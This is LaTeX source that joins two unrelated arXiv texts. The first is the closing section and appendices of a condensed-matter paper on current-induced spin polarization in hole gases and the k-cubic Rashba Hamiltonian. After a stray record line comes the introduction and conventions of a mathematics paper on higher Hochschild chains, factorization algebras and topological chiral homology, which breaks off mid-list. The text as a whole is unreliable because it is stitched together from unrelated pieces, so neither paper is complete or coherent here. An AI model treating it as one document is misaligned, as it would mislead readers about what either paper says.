E_{0}=10V/cm$, the Fermi sphere will be shifted by $\Delta k=eE_{0}\tau
/\hbar =3\times 10^{-3}\mathring{A}^{-1}$. Substituting the above data into
Eq.(\ref{ChiyxkR3}), we obtain $\langle S_{y}\rangle /n_{h}=0.831\%$ for $%
L_{z}=83\mathring{A}$, and $\langle S_{y}\rangle /n_{h}=1.75\%$ for $%
L_{z}=100\mathring{A}$. Since $S_{0}$ is proportional to $L_{z}^{4}$, the
spin polarization is very sensitive to the thickness of quantum well. Hence,
it is preferable to detect the CISP in a thicker quantum well
experimentally. The above estimation gives the same order of magnitude for
the spin polarization observed in Silov's experiment\cite{Silov1}. In Fig.~%
\ref{SyNhjx}, we plot the averaged spin polarization $\langle S_{y}\rangle
/n_{h}$ as functions of the Fermi energy and functions of the field $F$ in
the inset. The CISP is saturated about $2\%$ when the field is enhanced.
\section{Summary}
In conclusion, we have systematically investigate the current induced spin
polarization of 2DHG in the frame of the linear response theory. We
introduce the physical quantity of the electric spin susceptibility $\chi$
to describe CISP and give its analytical expression in the simplified $k$%
-cubic Rashba model. Different from the 2DEG, the CISP of 2DHG depends
linearly on the Fermi energy. The difference of CISP between 2DHG and 2DEG
results from the different spin orientations in the subband of carriers. We
propose that $k $-cubic Rashba coefficient of 2DHG can be deduced from the
ratio of spin polarization to the current, which is independent of the
impurities or disorder effect up to the lowest order. We have also carried
out numerical calculations for the CISP. The numerical results are
consistent with the analytical one in low doping regime, which demonstrates
the applicability of $k$-cubic Rashba model. With the increase of Fermi
energy, numerical results show that the spin polarization may be suppressed
and even changes its sign. We predict and explain a pronounced spin
polarization peak when the Fermi energy crosses over the subband bottom of
the $LH_-$. We also discuss the possibility of measuring this spin
polarization peak.
\begin{acknowledgments}
This work was supported by the Research Grant Council of Hong Kong under
Grant No.: HKU 7041/07P, by the NSF of China (Grant No.10774086, 10574076),
and by the Program of Basic Research Development of China (Grant No.
2006CB921500).
\end{acknowledgments}
\begin{appendix}
\section{Derivation of the $k$-cubic Rashba Hamiltonian}
In this Appendix, we present the detailed derivation of the
$k$-cubic Rashba model by means of the perturbation method.~\cite
{Bfzhu,Shen00prb,Winkler1,Winkler2,Foreman,Foreman2,Foreman3,Habib} First we truncate
the Hilbert space of the basis wave functions (\ref{Basiswf}) into
the subspace with only the lowest eight states
$\mathcal{G}_{0}=\{|n,\lambda _{h}\rangle ,n=1,2;\lambda _{h}=\pm
\frac{3}{2},\pm \frac{1}{2}\}$. As described in the Sec. II, by
comparing the lowest HH and LH subband dispersion with the exact
solution, the accuracy of such truncation procedure has been
verified. The truncated subspace $\mathcal{G}_{0}$ can be further
cast into two sub-groups, $\mathcal{G}_{1}$ and $\mathcal{G}_{2}$.
$\mathcal{G}_{1}$ contains two lowest heavy hole states
$\{|1,3/2\rangle ,|1,-3/2\rangle \} $, while $\mathcal{G}_{2}$ keeps
the other six states, $\{|1,1/2\rangle ,|1,-1/2\rangle
,|2,3/2\rangle ,|2,-3/2\rangle $, $|2,1/2\rangle ,|2,-1/2\rangle
\}$. In this case, the Hamiltonian in the subspace $\mathcal{G}_{0}$
can be written in the form of block matrices as
\begin{equation}
H_{8\times 8}=\left(
\begin{array}{cc}
\tilde{H}_{2\times 2} & \tilde{H}_{2\times 6} \\
\tilde{H}_{6\times 2} & \tilde{H}_{6\times 6}%
\end{array}%
\right) , \label{AppHam881}
\end{equation}%
where
\begin{equation}
\tilde{H}_{2\times 2}=\left(
\begin{array}{cc}
P(1) & 0 \\
0 & P(1)%
\end{array}%
\right) ,
\end{equation}%
\begin{equation}
\tilde{H}_{6\times 2}=\tilde{H}_{2\times 6}^{\dag }=\left(
\begin{array}{cc}
0 & T \\
T^{\dag } & 0 \\
eFG(2,1) & 0 \\
0 & eFG(2,1)\\
R(2,1)k_+ & 0 \\
0 & -R(2,1)k_-
\end{array}%
\right) ,
\end{equation}%
and
\begin{widetext}
\begin{eqnarray}
\tilde{H}_{6\times6}=\left(\begin{array}{cccccc}Q(1)&0&R(1,2)k_+&0&eFG(1,2)&0\\0&Q(1)&0&-R(1,2)k_-&0&eFG(1,2)\\R(2,1)k_-
&0&P(2)&0&0&T\\
0&-R(2,1)k_+&0&P(2)&T^{\dag}&0\\eFG(2,1)&0&0&T&Q(2)&0\\0&eFG(2,1)&T^{\dag}&0&0&Q(2)\end{array}\right).
\end{eqnarray}
\end{widetext}
Here $P(n),Q(n),G(n,m),R(n,m)$ are given by
\begin{eqnarray}
P(n) &=&\frac{\hbar ^{2}}{2m_{0}}\left[ (\gamma _{1}+\gamma
_{2})k^{2}+(\gamma _{1}-2\gamma _{2})(\frac{n\pi }{L_{z}})^{2}\right] , \\
Q(n) &=&\frac{\hbar ^{2}}{2m_{0}}\left[ (\gamma _{1}-\gamma
_{2})k^{2}+(\gamma _{1}+2\gamma _{2})(\frac{n\pi }{L_{z}})^{2}\right] ,
\end{eqnarray}%
\begin{equation}
G(n,m)=\frac{4L_{z}nm((-1)^{n+m}-1)}{\pi ^{2}(m^{2}-n^{2})^{2}},
\end{equation}%
\begin{equation}
R(n,m)=-2\sqrt{3}\frac{\hbar ^{2}\gamma _{3}}{2m_{0}}\frac{%
2inm((-1)^{n+m}-1)}{L_{z}(n^{2}-m^{2})}.
\end{equation}
Our aim is to perform a transformation which decouples the groups
$\mathcal{G}_{1}$ from $\mathcal{G}_{2}$, i.e. to make the
off-diagonal part $\tilde{H}_{2\times 6}$ and $\tilde{H}_{6\times
2}$ vanish up to the first-order in $k$ and $F$. We divide the
total Hamiltonian (\ref{AppHam881}) into three parts
\begin{equation}
H_{8\times 8}=H_{0}+H_{1}+H_{2}.
\end{equation}%
The first term $H_{0}$ is the diagonal matrix elements of
$H_{8\times8}$, given by
\begin{equation}
H_{0}=\left(
\begin{array}{cc}
\tilde{H}_{2\times 2}^{(0)} & 0 \\
0 & \tilde{H}_{6\times 6}^{(0)}%
\end{array}%
\right) ,
\end{equation}%
with $\tilde{H}_{2\times 2}^{(0)}=Diag[P(1),P(1)]$ and $\tilde{H}%
_{6\times
6}^{(0)}=Diag[Q(1),Q(1),P(2),P(2),Q(2),Q(2)]$.
The second term $H_{1}$ is given by
\begin{equation}
H_{1}=\left(
\begin{array}{cc}
0 & 0 \\
0 & \tilde{H}_{6\times 6}^{(1)}%
\end{array}%
\right) ,
\end{equation}%
where
$\tilde{H}_{6\times 6}^{(1)}=\tilde{H}_{6\times 6}-\tilde{H}%
_{6\times 6}^{(0)}$. The third term $H_{2}$ contains the non-diagonal part $%
\tilde{H}_{2\times 6}$ and $\tilde{H}_{6\times 2}$
\begin{equation}
H_{2}=\left(
\begin{array}{cc}
0 & \tilde{H}_{2\times 6} \\
\tilde{H}_{6\times 2} & 0%
\end{array}%
\right) .
\end{equation}%
There are three types of perturbation terms in $H_1$ and $H_2$:
(1)The k-linear $R$ term couples the state $|n,\frac{3}{2}\rangle$
($|n,-\frac{3}{2}\rangle$) with $|m,\frac{1}{2}\rangle$
($|m,-\frac{1}{2}\rangle$), where $n$ and $m$ must be of opposite
parities due to the presence of $k_z=-i\partial_z$; (2) The
k-quadratic $T$ term couples $|n,\frac{3}{2}\rangle$
($|n,-\frac{3}{2}\rangle$) with $|n,-\frac{1}{2}\rangle$
($|n,\frac{1}{2}\rangle$); (3) The asymmetric potential $V_a$
couples the states with the same spin index and different
parities.
The perturbation procedure is as follows. First $H_2$ will be
eliminated by the canonical transformation as
\begin{eqnarray}
&&H_{8\times 8}^{(1)}=\exp[-U^{(1)}]H_{8\times 8}\exp[U^{(1)}]
\nonumber \\
&&=H_{8\times 8}+[H_{8\times 8},U^{(1)}]+\frac{1}{2}[[H_{8\times
8},U^{(1)}],U^{(1)}]\nonumber\\
&&+...,
\end{eqnarray}
in which $ U^{(1)}$ is chosen such that
$$H_{2}+[H_{0},U^{(1)}]=0,$$ and the matrix elements read
\begin{equation}
U_{\alpha \beta }^{(1)}=-\frac{(H_{2})_{\alpha \beta }}{E_{\alpha
}-E_{\beta }},\qquad \alpha \neq \beta,
\end{equation}%
where $E_{\alpha}$ denotes the energy of the band $\alpha$ at the $\Gamma$ point (k=0).
After the canonical transformation, the new Hamiltonian is given
by
\begin{eqnarray}
H_{8\times
8}^{(1)}=H_{0}+H_{1}+\frac{1}{2}[H_{2},U^{(1)}]+[H_{1},U^{(1)}]
\nonumber \\
+\frac{1}{2}[[H_{1},U^{(1)}],U^{(1)}]+\cdots .
\end{eqnarray}
The $H_{0}$, $H_{1}$, $\frac{1%
}{2}[H_{2},U^{(1)}]$ and $\frac{1}{2}[[H_{1},U^{(1)}],U^{(1)}]$
have the block-diagonal form, while $[H_{1},U^{(1)}]$ is non-
block-diagonal and contains new terms first-order in $k$. So we
divide $H_{8\times 8}^{(1)}$ into three parts again
\begin{equation}
H_{8\times 8}^{(1)}=H_{0}+H_{1}^{(1)}+H_{2}^{(1)},
\end{equation}%
in which $H_{1}^{(1)}=H_{1}+\frac{1}{2}[H_{2},U^{(1)}]+\frac{1}{2}
[[H_{1},U^{(1)}],U^{(1)}]$, and $H_{2}^{(1)}=[H_{1},U^{(1)}]$. We
perform the second canonical transformation $U^{(2)}$, given by
\begin{equation}
U_{\alpha \beta }^{(2)}=-\frac{(H_{2}^{(1)})_{\alpha \beta
}}{E_{\alpha }-E_{\beta }},\qquad \alpha \neq \beta .
\end{equation}%
This makes the non-diagonal block matrix $H_{2}^{(1)}$ zero,
leading to the Hamiltonian
\begin{eqnarray}
H_{8\times 8}^{(2)}=H_{0}+H_{1}^{(1)}+\frac{1}{2}
[H_{2}^{(1)},U^{(1)}]+[H_{1}^{(1)},U^{(1)}] \nonumber \\
+\frac{1}{2}[[H_{1}^{(1)},U^{(1)}],U^{(1)}]+\cdots .
\end{eqnarray}
Now the non-block-diagonal terms of $H_{8\times 8}^{(2)}$ vanish
up to the desired order in $k$ and $F$. Finally, by mapping the
Hamiltonian $H_{8\times 8}^{(2)}$ into the lowest heavy hole
subbands, we obtain the $k$-cubic Rashba Hamiltonian
Eq.~(\ref{HamkR3}).
To obtain the corresponding spin operators in the lowest heavy
hole basis, we should apply the same canonical transformations $
U^{(1)} $ and $U^{(2)}$ to the spin operators $S_{i}$ ($i=x,y,z$).
In the 8-state subspace $\mathcal{G}_{0}$, we find that the spin
operator has the block-diagonal form
$S_{i}=Diag[S_{i}^{(1)},S_{i}^{(1)}]$ $(i=x,y,z)$, because there
are no matrix elements between the states with different
confinement quantum number $n$. Therefore $S_{i}^{(1)}$
is a $4\times 4$ matrix, given respectively by
\begin{eqnarray}
S_{x}^{(1)} &=&\frac{1}{2}\left(
\begin{array}{cccc}
0 & 0 & \sqrt{3} & 0 \\
0 & 0 & 0 & \sqrt{3} \\
\sqrt{3} & 0 & 0 & 2 \\
0 & \sqrt{3} & 2 & 0%
\end{array}%
\right)
\end{eqnarray}%
\begin{eqnarray}
S_{y}^{(1)} &=&\frac{i}{2}\left(
\begin{array}{cccc}
0 & 0 & -\sqrt{3} & 0 \\
0 & 0 & 0 & \sqrt{3} \\
\sqrt{3} & 0 & 0 & -2 \\
0 & -\sqrt{3} & 2 & 0%
\end{array}%
\right)
\end{eqnarray}%
\begin{eqnarray}
S_{z}^{(1)} &=&\frac{1}{2}\left(
\begin{array}{cccc}
3 & 0 & 0 & 0 \\
0 & -3 & 0 & 0 \\
0 & 0 & 1 & 0 \\
0 & 0 & 0 & -1%
\end{array}%
\right)
\end{eqnarray}
Then we apply the transformations $U^{(1)}$ and $U^{(2)}$ to
the spin operators, obtaining the new spin operators $\tilde{S}%
_{i}=S_{i}+[S_{i},U^{(1)}]+[S_{i},U^{(2)}]$ as presented in Eqs. (\ref{Sx1}), (\ref%
{Sy1}) and (\ref{Sz1}).
\section{Hole Rashba term}
The hole Rashba term has recently attracted many researchers'
attentions. ~\cite{Winkler2,Bernevig,Hasegawa} The hole Rashba
term breaks the inversion symmetry, ~\cite{Bfzhu,Winkler1} and is
expressed as
\begin{eqnarray}
\hat{H}_{R}=\lambda \left(
\begin{array}{cccc}
0 & \frac{i\sqrt{3}}{2}k_{-} & 0 & 0 \\
-\frac{i\sqrt{3}}{2}k_{+} & 0 & ik_{-} & 0 \\
0 & -ik_{+} & 0 & \frac{i\sqrt{3}}{2}k_{-} \\
0 & 0 & -\frac{i\sqrt{3}}{2}k_{+} & 0%
\end{array}%
\right),
\end{eqnarray}%
where $\lambda =r_{41}^{8v8v}F$, $ r_{41}^{8v8v}$ is a parameter
as already given by Winkler for several materials,~\cite{Winkler1}
and $F$ is the field strength. If we neglect other asymmetrical
potentials and only consider the Rashba term, then the total
Hamiltonian is $\hat{H}=H_{L}+V_{c}+H_{R}$. Applying the same
perturbation procedure as in the appendix A, we find that both the
Hamiltonian and the spin operator have the identical structure to
the asymmetrical potential case, as well as the same effective
mass $ m_{h}$, $S_{1}$ and expression Eq.~(\ref{S0alphakR3}),
except for the Rashba coefficient given by
\begin{eqnarray}
\alpha =\frac{3\lambda L_{z}^{2}}{4\pi ^{2}},
\end{eqnarray}%
and the spin operator parameter
\begin{eqnarray}
S_{0}=\frac{3\lambda m_{0}L_{z}^{2}}{4\pi ^{2}\hbar ^{2}\gamma
_{2}}.
\end{eqnarray}%
The hole Rashba coefficient $\alpha $ here is proportional to
$L_{z}^{2}$, while for the asymmetrical potential case it depends
on $L_{z}^{4}$. So in most realistic quantum wells, the
contribution from the asymmetrical potential plays more important
role than the hole Rashba term, at least one or two orders of
magnitude larger. The physical reason for this may be understood
from the origin of the hole Rashba term. The more general form of
the Hamiltonian should be $\hat{H}=\hat{H}_{\mathbf{k}\cdot
\mathbf{p} }+V_{c}+eFz $, where the multi-band $\mathbf{k}\cdot
\mathbf{p}$ Hamiltonian $\hat{H}_{\mathbf{k}\cdot \mathbf{p}}$
includes not only the heavy and light hole bands, but also the
conduction band, spin split-off band and remote bands. When we
project the Hamiltonian into the subspace of the heavy and light
hole bands, the combined effects of the $eFz$ and $\mathbf{k}\cdot
\mathbf{p}$ mediated by other bands lead to the hole Rashba term,
which has much smaller influence than that coupled by the
asymmetrical potential directly. Therefore, hole Rashba term is
neglected in the present article for simplicity.
\end{appendix}
|
1,477,468,750,017 | arxiv | \section{Introduction}
In this paper, we study the higher Hochschild chain\footnote{Note, that in this paper we are using a \emph{cohomological} grading for our differential graded modules, see Convention (7) on page \pageref{convention7}.
Also, this paper only deals with Hochschild chains and Hochschild homology, and never with Hochschild cochains or Hochschild cohomology.} complex $CH^{\com}_{X_\bullet}(A)$, functorially assigned to a simplicial set $X_\bullet$ (or a topological space), and a commutative differential graded algebra (CDGA) $A$, from an axiomatic point of view. Recently, motivated by topological quantum field theories, several concepts integrating (higher) categories of spaces or manifolds with those of algebras of different types have arisen. We also study the relationship between higher Hochschild chains, factorization algebras~\cite{CG,Co}, topological chiral homology~\cite{L-TFT,L-VI} and the blob complex~\cite{MW}.
Higher Hochschild homology was first introduced by Pirashvili in \cite{P}.
The higher Hochschild complexes (as well as other aforementioned concepts) are a generalization of the well-known and classical Hochschild complex. In fact, for the case of the standard simplicial set model $X_\bullet=S^1_\bullet$ for the circle, $CH^{\com}_{S^1_\bullet}(A)$ reduces to the standard Hochschild complex $CH_{\com}(A)= A^{\otimes \com+1}$, see \cite{H,H2}.
In contrast with most other generalizations, higher Hochschild chains are defined over \emph{any} (simplicial set model of a) space and not only (stratified) manifolds. However, this forces us to restrict our attention to CDGAs or at best to $E_\infty$-algebras. More precisely, the higher Hochschild chains form a bifunctor $CH: \sset\times \cdga \to \cdga$ from the categories of simplicial sets and differential graded commutative algebras to the latter category. The functoriality with respect to spaces (and not merely manifold embeddings) is a key feature which allows us to derive algebraic operations on the higher Hochschild chain complexes from maps of topological spaces. For instance, it was crucially used to study the Hodge decomposition of Hochschild homology (Pirashvili~\cite{P}) or to give and study models of (higher) string topology~\cite{G,GTZ}. Also, its underlying combinatorial properties allow a generalization of Chen's iterated integral~\cite{GTZ}. Higher Hochschild is also a convenient setting to study holonomy of (higher) gerbes (for instance see~\cite{TWZ}) or compute the observables of classical topological field theories, see~\cite{CG} and \S~\ref{S:Factorization}. The higher Hochschild homology satisfies many axioms similar to those of Eilenberg-Steenrod for singular homology: naturality in each variable, commutations with coproducts in both variable, homotopy invariance and the dimension axiom, see Corollary~\ref{C:Homologyfunctor}.
However, to fully appreciate the higher Hochschild functor, one needs to go beyond mere homology and consider the higher Hochschild chains in a \emph{derived setting} which allows to formulate the analogue of the \emph{excision axiom}. This axiom, reminiscent of the locality axioms of topological field theories, asserts that Hochschild chains maps the homotopy pushout of simplicial sets to the derived tensor product of algebras, \emph{i.e.} homotopy pushout of CDGAs. This gluing property together with the homotopy invariance allow to build many examples of Hochschild chain complexes and to do computations as demonstrated in~\cite{GTZ}. Further, such an enhancement is needed in order to correctly compare the higher Hochschild functor with more sophisticated concepts, such as topological chiral homology, which naturally lies in a homotopical setting. More precisely, we interpret the higher Hochschild chains as a (derived) bifunctor from the $(\infty,1)$-categories $\hsset$ of simplicial sets and $\hcdga$ of CDGAs, which are suitable localizations of the categories of simplicial sets and CDGAs, with respect to (weak) homotopy equivalences and quasi-isomorphisms. This framework (instead of simply homology) is also needed to keep track of the topology of topological spaces modeled by the simplicial sets; for instance the usual Hochschild complex $CH{_\ast}(A)$ interpretated in an $(\infty,1)$-category retains a circle action governing cylic homology as shown in~\cite{L-TFT,ToVe3}. Here, following Rezk and Lurie \cite{Re,L-TFT}, an $(\infty,1)$-category means a complete Segal space. In our context, the $(\infty,1)$-categories we considered are obtained by a Dwyer-Kan localization process from standard model categories, though the results of this paper should not depend on the particular chosen approach to $(\infty,1)$-categories, see also Remark \ref{R:non-unique}.
\smallskip
Our first main result is the following theorem.
\setcounter{section}{3} \setcounter{subsection}{2} \setcounter{theorem}{0}
\begin{theorem}\label{T:introderivedfunctor}
The Hochschild chains lift as a functor of $(\infty,1)$-categories $CH: \hsset \times \hcdga \to \hcdga$ which satisfies the following axioms
\begin{enumerate}
\item {\bf value on a point:} there is a natural equivalence of CDGAs $CH^\com_{pt}(A)\cong A$.
\item {\bf monoidal:} there are natural equivalences of CDGAs
$$CH_{\coprod {X_i}_\com}^{\com}(A)\cong \bigotimes CH_{{X_i}_\com}^{\com}(A)$$
\item {\bf homotopy gluing/pushout:} $CH$ sends homotopy pushout in $\hsset$ to homotopy pushout in $\hcdga$, \emph{i.e.} there is a natural equivalence of CDGAs
$$CH^{\com}_{X_\com \cup_{Z_\com}^{h} Y_\com}(A)\cong CH^{\com}_{X_\com}(A)\otimes_{CH^{\com}_{Z_\com}(A)}^{\mathbb{L}} CH^{\com}_{Y_\com}(A).$$
\end{enumerate}
\end{theorem}
Furthermore, the above axioms actually \emph{define} the (derived) higher Hochschild chains:
indeed our second main result, Theorem~\ref{T:deriveduniqueness} can be rephrased as \setcounter{theorem}{1}
\begin{theorem}
The Hochschild chains is the \emph{unique} bifunctor
$\hsset \times \hcdga \to \hcdga$ satisfying the axioms (1), (2), (3) in
Theorem~\ref{T:introderivedfunctor}.
\end{theorem}
These two results actually follow from the fact that $\cdga$ is tensored over simplicial sets and the general formalism of $(\infty,1)$-categories as in~\cite{Lu11,L-VI} and allow to interpret the Hochschild functor as a (derived) mapping stack in the context of~\cite{ToVe}, see Corollary~\ref{C:mappingstack}. We also show that the derived Hochschild functor $CH:\hsset\times \hcdga\to \hcdga$ has many good formal properties: for instance it commutes with finite (homotopy) colimits in both arguments and with finite products of simplicial spaces (Corollary~\ref{C:hocolim} and Proposition~\ref{P:product}). Further, the locality axioms leads to an Eilenberg-Moore spectral sequence computing the higher Hochschild homology (Corollary~\ref{C:HlocalitySpecSeq}).
We also deal with the pointed versions of higher Hochschild chains, which allows to define Hochschild chains over a pointed simplicial set $X_\com$ of a CDGA $A$ with coefficient in an $A$-module $M$ and establish similar results for this theory.
By homotopy invariance, we can define $CH^\com_X(A)$ for a topological space $X$,
generalizing the concept for a simplicial set $X_\com$, in such a way that all of the above
properties still hold. With this, we can now offer interpretations of $CH_{X}^\bullet(A)$ in various contexts.
First, in Section \ref{S:factor-alg}, we use these properties to give an interpretation of Hochschild chains over spaces of a CDGA $A$ as a factorization algebra in any dimension. The concept of \emph{factorization algebras} (see~\cite{CG,Co}) is inspired by Topological Quantum Field Theory, in which they appear naturally to encode observables. They were inspired by the work of Beilinson and Drinfeld~\cite{BD} (in an algebraic-geometry framework). Roughly speaking a factorization algebra $\mathcal{F}$ is a rule which (covariantly) associate cochain complexes to open subsets of a space $X$ together with multiplications $$\mathcal{F}(U_1)\otimes \cdots \otimes \mathcal{F}(U_n)\to \mathcal{F}(V)$$ for any family of pairwise disjoint open subsets of an open set $V$ in $X$. It should satisfy a \lq\lq{}cosheaf-like\rq\rq{} condition, meaning that $\mathcal{F}(V)$ can be computed by \v{C}ech complexes indexed on nice enough covers, called factorizing covers, see~\cite{CG} and Section~\ref{S:Factorization}. The (derived) global sections of a factorization algebra $\mathcal{F}$ is also called the factorization homology of $\mathcal{F}$ and is denoted $HF(\mathcal{F},X)$.
In this context we prove that the higher Hochschild chain functor defines a commutative factorization algebra $\mathcal{CH}_X(A)$, if $X$ admits a good cover whose factorization homology is precisely the derived Hochschild chains $CH_{X}^{\com}(A)$.
\setcounter{section}{4} \setcounter{subsection}{2} \setcounter{theorem}{3}
\begin{theorem}
Let $X$ be a topological space with a factorizing good cover and $A$ be a CDGA.
Assume further that there is a basis of open sets in $X$ which is also a factorizing good cover.
Then the assignment $\mathcal{CH}_X: U\mapsto CH_U^\com(A)$ is a factorization algebra on $X$.
\end{theorem}
In particular, this applies when $X$ is a manifold. Further, we prove that any factorization algebra for which $\mathcal{F}(U)$ (for contractible $U$) is naturally equivalent to a CDGA $A$ is canonically equivalent to $\mathcal{CH}_X(A)$.
\setcounter{corollary}{9}
\begin{corollary}
Let $X$ be a topological space with a sufficiently nice cover, let $A$ be a CDGA, and let $\mathcal{F}$ be a strongly constant factorization algebra on $X$ of type $A$. Then there is a natural equivalence of factorization algebras $\mathcal{F} \cong \mathcal{CH}_X(A)$.\\
In particular, there is a natural equivalence $HF(\mathcal{F})\cong CH_X^\com(A)$ in $\hkmod$.
\end{corollary}
In Section \ref{S:TCH}, we establish a relationship between the \emph{topological chiral homology} functor defined by Lurie~\cite{L-TFT,L-VI} and both the higher Hochschild functor and factorization algebras.
To obtain a comparison
between these functors, it is important to note that they are defined in two different setting
with a common intersection. Topological chiral homology, denoted $\int_M A$, is
defined for any $E_n$-algebra $A$ (where $E_n$ is an operad equivalent to the little cubes in
dimension $n$) and an $m$-dimensional manifold $M$, $m\leq n$, such that $M\times D^{n-m}$ is
framed (we say $M$ is $n$-framed). Further $\int_M A$ is an $E_{n-m}$-algebra which is also a
module over the $E_{n-m+1}$-algebra $\int_{\partial M} A$. Topological chiral homology can be
interpreted as an invariant of framed manifolds produced by an extended $(\infty,n)$-Topological
Field Theory in the sense of~\cite{L-TFT}; the theory in question takes values in an
$(\infty,n)$-category of $E_n$-algebras whose $n$-morphisms are (homotopy types) of chain complexes.
Note that topological chiral homology depends on and comes with a choice of a sequence of maps of
operads,
\begin{equation*}
\xymatrix{E_1 \ar@{^{(}->}[r]& E_2\ar@{^{(}->}[r] & \dots \dots \ar@{^{(}->}[r]& E_n\ar@{^{(}->}[r] & \dots \dots \ar@{->>}[r] & \mathop{Com} }
\end{equation*}
which allows one to interpret a CDGA as an $E_n$-algebra for any $n$. When $A$ is a CDGA, things simplify greatly, and we can give a simple description of $\int_M A$ in terms of the higher Hochschild complex of $A$. Using excision for topological chiral homology, see Proposition~\ref{P:TCHpushout}, we prove, in a rather geometric way:
\setcounter{section}{5} \setcounter{subsection}{2} \setcounter{theorem}{4}
\begin{theorem}
Let $M$ be a manifold endowed with a framing of $M \times D^k$ and $A$ be a differential graded commutative algebra viewed as an $E_{m+k}$-algebra. Then topological chiral homology of $M$ with coefficients in $A$, denoted by $\int_M A$ is equivalent to $CH^\com_M(A)$ viewed as an $E_k$-algebra.
\end{theorem}
In other words, topological chiral homology and higher Hochschild chains coincide on their
common intersection for an $n$-framed manifold $M$, and a CDGA $A$. As an immediate corollary, in that case, $\int_M A$ is independent of the $n$-framing, see \S~\ref{SS:applications}.
In Section~\ref{S:blob}, we explain briefly the relationship between topological chiral homology and the \emph{blob complex}~\cite{MW}. More precisely, topological chiral homology extends to all manifolds provided that it is applied to an $\mathbb{E}_n^{O(n)}$-algebra, \emph{i.e.} an algebra over the semi-direct product of the $E_n$-operad with the orthogonal group $O(n)$ or said otherwise an $E_n$-algebra homotopically $O(n)$-invariant. The blob complex can also be defined for such algebras and any closed manifold and agrees with topological chiral homology in that case, see Proposition~\ref{P:blob}.
The relation between factorization algebras, derived higher Hochschild chains and topological chiral
homology for CDGAs can be pushed further. Indeed, the data of an $E_n$-algebra are equivalent to
those of a locally constant factorization algebra in $\R^n$~\cite{Co,L-VI}, see Proposition~\ref{P:Fac=En}. Further,
the assumptions of having an $E_n$-algebra and a framed manifold to define topological chiral
homology can be replaced by the one of having a suitable (kind of) cosheaf of $E_n$-algebras on
an $n$-dimensional manifold $N$. Such a cosheaf is called an $\mathbb{E}_{N}^{\otimes}$-algebra~\cite{L-VI} and is also inspired by the work of Beilinson-Drinfeld~\cite{BD}. The techniques
developed to compare Hochschild chains with factorization algebras and topological chiral homology
leads to
Theorem~\ref{T:HF=TCH} which can be rephrased as
\setcounter{section}{5} \setcounter{subsection}{4} \setcounter{theorem}{5}
\begin{theorem} Let $M$ be a manifold of dimension $n$.
\begin{enumerate}
\item Topological chiral homology defines a natural $(\infty,1)$-functor $\mathcal{TC}_M$ from the category of $\mathbb{E}_{M\times \R^d}^{\otimes}$-algebras to the category of locally constant factorization algebras on $M$ with value in $E_d$-algebras, such that $\int_M A \cong HF(\mathcal{TC}_M,M)$.
\item The functor $\mathcal{TC}_M(A)$ is an equivalence.
\end{enumerate}
\end{theorem}
Finally in Section~\ref{SS:applications}, we derive some applications of our results to give an interpretation of topological chiral homology in terms of maping spaces and to prove that topological chiral homology satisfies the exponential law, \emph{i.e.}, if $M$ and $N$ are manifolds and $\mathcal{A}$ is an $\mathbb{E}_d[M\times N]$-algebra, then, there is an equivalence of $E_d$-algebras
$$\int_{M\times N} \mathcal{A} \; \cong \; \int_M\Big(\int_N \mathcal{A}\Big) $$see Corollary~\ref{C:FubiniTCH}.
\smallskip
Let us outline the philosophy intertwining the different concepts studied here.
Given an $n$-framed manifold $M$ of dimension $m$ (\emph{i.e.} $M\times \R^{n-m}$ is framed),
and an $E_n$-algebra $A$, we can form the topological chiral homology $\int_M A$
(or equivalently consider factorization algebra homology), which can be thought of as a colimit of tensor products of
$A$ indexed by balls in the manifold. Now, if we embed $M\times \R^{n-m}$ in $M\times \R^{n-m+1}$ equipped
with the induced framing, one can form $\int_M B$ for an $E_{n+1}$-algebra. But two different framings of
$M\times \R^{n-m}$ may become equivalent after the embedding. Since a CDGA $C$ is an $E_k$-algebra
(as well as an $\mathbb{E}_{M}^{\otimes}$-algebra) for all $k$, $\int_M C$ should not be able to distinguish
different framings. Since manifolds embed in euclidean spaces, we further see that $\int_M C$ should makes sense for
\emph{any} manifold. Note that constant factorization algebra can be pulled back along open immersions and pushed
forward any map. This hints that any deformation retract of a manifold should
also have a well defined topological chiral homology (with value in a $C$) equivalent to the one of the manifold.
All of this suggests that, for CDGAs, topological chiral homology may be extended to any CW-complex and is a
homotopy invariant, which is precisely realized by the derived higher Hochschild functor. Said otherwise,
higher Hochschild is the \lq\lq{}limit\rq\rq{} for $n$ going to $\infty$ of topological chiral homology defined
as an invariant of manifolds of dimension $n$.
One of the emerging pattern here is that there is a balance to keep in between the manifolds and the algebraic
structure needed to produce a (derived) invariant. For instance, in order to consider $E_n$-algebras,
one need to consider only at most $n$-dimensional manifolds (possibly with extra structure such as a framing).
In particular, working with only associative algebras restricts attention to manifolds of dimension $1$.
At the opposite side of the spectrum, restricting to CDGAs allows to build and study \emph{explicit}
examples in a much easier way and to compute them when adding the usual Rational Homotopy techniques
to the axiomatic properties satisfied by the theory.
\smallskip
We choose to work with commutative differential graded algebras since we are mainly interested in
the characteristic zero case. However, it is also possible to work with simplicial commutative algebras,
and all our results should makes sense in this setting. Simplicial commutative algebras are better behaved
if one wants to deal with positive characteristic.
\begin{ack*}
We would like to thank the referees, David Ayala, Kevin Costello and Owen Gwilliam for many useful discussions and
comments. The first author would like to thank the Einstein Chair at CUNY for their invitation,
and the second and third would like to thank IH\'ES for inviting them.
The second and third authors were partially supported by the NSF grant DMS-0757245, and by the Max-Planck
Institute for Mathematics in Bonn, Germany.
\end{ack*}
\setcounter{section}{1} \setcounter{theorem}{0} \setcounter{corollary}{0}
\section{Preliminary definitions and notation}
In this section we recall some standard definitions and constructions.
\textbf{Conventions:}
\begin{enumerate}
\item We fix a ground field $k$ of characteristic zero. The $(\infty,1)$-category of differential graded $k$-modules (\emph{i.e.} complexes) will be denoted $\hkmod$.
\item The (na\"ive) categories of simplicial sets and of commutative differential graded algebras will be respectively denoted by $sSet$ and $CDGA$. The category of commutative graded algebra will be denoted $CGA$. Unless otherwise stated, all algebras will be assumed to be \emph{unital}.
\item We will simply refer to commutative differential graded algebras as CDGAs.
\item The $(\infty,1)$-categories of simplicial sets and commutative differential graded algebras will be respectively denoted by $\hsset$ and $\hcdga$.
\item Let $n\geq 1$ be an integer. By an $E_n$-algebra we mean an algebra over an $E_n$-operad. Unless otherwise stated, we work in the context of operads of differential graded $k$-modules or $\infty$-operads in $\hkmod$. We will write $E_n\text{-}Alg_\infty$ for the $(\infty,1)$-category of $E_n$-algebras.
